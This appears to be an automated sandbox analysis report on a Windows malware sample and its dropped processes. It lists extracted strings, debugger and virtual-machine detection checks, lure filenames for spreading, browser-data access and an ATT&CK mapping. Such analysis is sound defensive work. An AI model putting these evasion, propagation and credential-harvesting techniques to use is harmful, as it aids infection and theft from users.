Source: smnss.exe, 00000027.00000002.386901160.0000000000401000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: rbhtmlhtmtxtxmldocpltbbSoftware\Microsoft\WAB\WAB4\Wab File Nametepbcl.qyyReadme.exefoto.pifFbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\IrefvbafgngrzvqhfrehfonpgvikgbeeuswkcnfjpafwIHYanFuibyanFlfgrz\PheeragPbagebyFrg\Freivprf\FunerqNpprffStartPYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32k_fbpxf5nnauser32.dllfureinaf.qyypgszra.rkrSeDebugPrivilege%2.2x\virtualvmwareqemuvboxSYSTEM\ControlSet001\Services\Disk\Enum012ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzFbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvbatimerbjvavarg.qyyNTf2000fXpf2003fVIStafWinSUnk192.168.1.2vqhfretepbcl.qyyuser32.dllICQ 8.exeoffice_crack_all.exeWinrar 4.exeK-Lite Codec Pack 7.exeDivX 8.exeACDSee.exeWinamp 7.exeserials 2010.txt.execrack windows 7.execrack windows 8.exemy_passwords.exeFbsgjner\Xnmnn\GenafsreQyQve0\Fbsgjner\vZrfu\TrarenyQbjaybnqQvepgszra.rkrFbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Ehauser32.dll
Source: smnss.exe, 0000001A.00000002.361481443.0000000000937000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: smnss.exe, 00000003.00000002.322074505.0000000000928000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000006.00000002.324685318.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 0000000C.00000002.332853306.0000000000918000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000011.00000002.349366987.0000000000957000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000016.00000002.356247023.0000000000808000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000019.00000002.359951001.0000000000937000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 0000001F.00000002.368376049.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000020.00000002.369765127.0000000000977000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000022.00000002.372848639.0000000000957000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000025.00000002.376372904.0000000000997000.00000004.00000020.00020000.00000000.sdmp, smnss.exe, 00000027.00000002.387327805.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Debugger detection routine: IsDebuggerPresent or CheckRemoteDebuggerPresent, DecisionNodes, ExitProcess or Sleep

graph_0-4496

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00404AB8 IsDebuggerPresent,

0_2_00404AB8

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00406E1C LoadLibraryA,GetProcAddress,FreeLibrary,DeleteFileA,Sleep,

0_2_00406E1C

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_004060AA DnsQuery_A,GetProcessHeap,RtlAllocateHeap,lstrcpy,GlobalFree,

0_2_004060AA

Source: C:\Windows\SysWOW64\smnss.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_00401150 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,76664600,_setmode,76664600,	0_2_00401150
Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Code function: 0_2_00401149 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,	0_2_00401149
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 1_2_00401150 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,76664600,_setmode,76664600,	1_2_00401150
Source: C:\Windows\SysWOW64\ctfmen.exe	Code function: 1_2_00401149 SetUnhandledExceptionFilter,__getmainargs,76664600,76664600,_setmode,76664600,76664600,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,	1_2_00401149

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe	Process created: C:\Windows\SysWOW64\ctfmen.exe ctfmen.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: C:\Windows\SysWOW64\smnss.exe C:\Windows\system32\smnss.exe	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00407C4E GetLocalTime,CreateThread,

0_2_00407C4E

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_00405256 GetVersionExA,

0_2_00405256

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior

Source: C:\Users\user\Desktop\ydbWyoxHsd.exe

Code function: 0_2_10002020 xproxy_th@4,WSAStartup,socket,htons,rot13,Get_Reg_SZ,Get_Reg_SZ,rot13,rot13,bind,listen,accept,create_thread,closesocket,

0_2_10002020

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Native API	Path Interception	1 Access Token Manipulation	121 Masquerading	1 OS Credential Dumping	11 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
